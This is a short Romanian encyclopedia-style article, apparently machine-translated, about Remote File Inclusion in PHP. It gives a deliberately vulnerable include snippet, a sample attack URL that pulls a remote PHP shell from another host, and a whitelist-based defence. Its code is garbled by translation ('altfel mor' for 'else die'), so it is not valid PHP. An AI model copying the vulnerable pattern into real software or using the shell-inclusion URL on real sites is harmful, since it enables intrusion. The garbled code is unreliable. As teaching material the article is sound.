Includerea fișierelor la distanță
Includerea de fișiere la distanță sau RFI , în contextul securității IT, indică o vulnerabilitate care afectează serviciile web cu un control slab al variabilelor care sosesc de la un utilizator, în special variabilele PHP GET și POST. Vulnerabilitatea apare atunci când o pagină care trebuie inclusă este transmisă pentru o variabilă necontrolată.
Cod vulnerabil
Acesta este un exemplu simplu de cod vulnerabil:
<? php
$ var = $ _GET [ 'var' ];
include ( $ var );
?>
chiar și cu o cunoaștere limitată a PHP, este foarte clar ce se întâmplă, mergând la acea pagină și modificând variabila $ var (prezentă în URL ) după cum doriți, puteți vedea eroarea în acțiune.
http://miosito.it/pagina_vulnerabile.php?var=http://www.miositoincluso.it
în acest caz variabila var ia valoarea URL-ului introdus și indexul mysiteincluso.it va fi inclus în pagină
Cum funcționează atacul
Dacă există posibilitatea includerii arbitrare a codului PHP, un cracker poate include un shell în PHP
http://miositovulnerabile.it/pagina_vulnerabile.php?var=miosito.it/shell.txt
Rețineți că pagina care trebuie inclusă nu trebuie să fie în PHP (în caz contrar, este inclusă doar ieșirea HTML generată a paginii și nu codul real).
Cum să te aperi
În general, atunci când trebuie să includeți o pagină externă în aplicația dvs. web, doriți să includeți doar un set foarte mic și numerotat de posibile pagini și nu toate paginile web din această lume. Prin urmare, este suficient să faceți o schimbare a valorilor posibile ale variabilei GET și, în funcție de valoare, includeți pagina dorită, fără a lăsa utilizatorul complet gratuit. Această previziune este suficientă pentru a evita orice tip de vulnerabilitate RFI.
http://miosito.it/index.php?var=1
apoi în cadrul paginii se face o verificare între numărul posibil și site-ul corespunzător. Exemplu:
<? php
$ var = $ _GET [ 'var' ];
if ( $ var == 1 ) include ( 'http://miositoesterno.it/miapagina1.php' );
elseif ( $ var == 2 ) include ( 'http://miositoesterno.it/miapagina2.php' );
altfel mor ( „încercare de intruziune” );
?>